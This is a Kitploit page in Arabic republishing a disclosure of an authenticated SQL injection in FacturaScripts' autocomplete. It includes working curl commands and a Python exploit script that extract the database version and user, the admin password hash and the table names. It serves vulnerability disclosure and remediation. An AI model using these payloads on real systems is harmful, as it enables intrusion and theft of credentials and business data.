Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25514 — CVE-2026-25514 - يحتوي FacturaScripts على ثغرة حقن SQL في إجراءات الإكمال التلقائي | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2026-25514
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - يحتوي FacturaScripts على ثغرة حقن SQL في إجراءات الإكمال التلقائي

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-25514: ثغرة حقن SQL في FacturaScripts في إجراءات الإكمال التلقائي

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-25514
الخطورةعالية
النشرة الأمنيةعرض النشرة الأمنية
اكتشفهاLukasz Rybak

المنتجات المتأثرة

  • facturascripts/facturascripts (الإصدارات: < 2025.81)

تصنيف CWE

  • CWE-20: التحقق غير السليم من المدخلات
  • CWE-89: التعقيم غير السليم للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')
  • CWE-943: التعقيم غير السليم للعناصر الخاصة في منطق استعلام البيانات

التفاصيل

الملخص

يحتوي FacturaScripts على ثغرة حرجة لحقن SQL في وظيفة الإكمال التلقائي تتيح للمهاجمين المُصادَق عليهم استخراج بيانات حساسة من قاعدة البيانات بما في ذلك بيانات اعتماد المستخدمين وإعدادات التهيئة وجميع بيانات الأعمال المخزنة. توجد الثغرة في طريقة CodeModel::all() حيث يتم دمج المعاملات المقدمة من المستخدم مباشرةً في استعلامات SQL دون تعقيم أو ربط مُعامل.


التفاصيل

تنفذ عدة وحدات تحكم في FacturaScripts، بما في ذلك CopyModel وListController وPanelController، إجراء إكمال تلقائي يعالج مدخلات المستخدم عبر طريقتي CodeModel::search() أو CodeModel::all(). تنشئ هذه الطرق استعلامات SQL عن طريق دمج المعاملات التي يتحكم بها المستخدم مباشرةً دون أي تحقق أو تهريب.

موقع الكود المعرض للثغرة

الملف: /Core/Model/CodeModel.php الطريقة: all() الأسطر: 108-109

root@kitploit:~
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

المعاملات المعرضة للثغرة

المعاملات التالية معرضة لحقن SQL:

  1. source → يُرسم إلى $tableName - حقن اسم الجدول
  2. fieldcode → يُرسم إلى $fieldCode - حقن اسم العمود
  3. fieldtitle → يُرسم إلى $fieldDescription - حقن اسم العمود (ناقل الهجوم الأساسي)

تسلسل الهجوم

  1. يصادق المهاجم ببيانات اعتماد صالحة (أي دور مستخدم)
  2. يرسل المهاجم طلب POST إلى /CopyModel مع action=autocomplete
  3. يتم حقن دوال/استعلامات SQL خبيثة عبر معامل fieldtitle
  4. ينفذ التطبيق استعلام SQL المحقون ويعيد النتائج بتنسيق JSON
  5. يستخرج المهاجم البيانات الحساسة من قاعدة البيانات

إثبات المفهوم (PoC)

المتطلبات الأساسية

  • بيانات اعتماد مصادقة صالحة (admin/admin في بيئة الاختبار)
  • الوصول إلى الواجهة web الخاصة بـ FacturaScripts

الاستغلال اليدوي خطوة بخطوة (CLI)

نظرًا لأن FacturaScripts يستخدم MultiRequestProtection، فإن multireqtoken صالحًا مطلوب لكل طلب POST.

1. الحصول على الرمز المميز الأولي وملف تعريف الارتباط للجلسة: يعيد FacturaScripts توجيه / إلى /login، لذا نستخدم -L لمتابعة عمليات إعادة التوجيه و-c لحفظ ملف تعريف الارتباط الخاص بالجلسة.

root@kitploit:~
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. المصادقة (تسجيل الدخول): استخدم ملف تعريف الارتباط المحفوظ والرمز المميز لتسجيل الدخول.

root@kitploit:~
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. استخراج إصدار قاعدة البيانات: احصل على رمز مميز جديد للطلب التالي ونفذ الحقن.

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. استخراج مستخدم قاعدة البيانات واسمها:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. استخراج تجزئة كلمة مرور المسؤول:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

سكربت الاستغلال الآلي

root@kitploit:~
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()
صورة

التأثير

لهذه الثغرة تأثير حرج:

سرية البيانات

  • كشف كامل لقاعدة البيانات - يمكن للمهاجم استخراج جميع البيانات بما في ذلك:
    • بيانات اعتماد المستخدمين (تجزئات كلمات المرور)
    • معلومات العملاء (الأسماء، العناوين، أرقام التعريف الضريبي، إلخ)
    • السجلات المالية (الفواتير، المدفوعات، التفاصيل المصرفية)
    • منطق الأعمال وبيانات التهيئة
    • إعدادات النظام والإضافات

من المتأثر؟

  • جميع تثبيتات FacturaScripts التي تعمل بإصدارات معرضة للخطر
  • جميع المستخدمين المُصادَق عليهم يمكنهم الاستغلال (ليس فقط مسؤولي النظام)
  • الشركات التي تستخدم FacturaScripts للمحاسبة/الفوترة
  • العملاء الذين تُخزَّن بياناتهم في النظام

الإصلاح الموصى به

المعالجة الفورية

الخيار 1: استخدام العبارات المُجهزة مسبقًا

root@kitploit:~
// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

الاعتمادات

اكتشفها: Łukasz Rybak

المراجع

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
  • https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25514
  • https://github.com/advisories/GHSA-pqqg-5f4f-8952

إخلاء المسؤولية

تم الإفصاح عن هذه الثغرة (CVE) بمسؤولية وفقًا لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة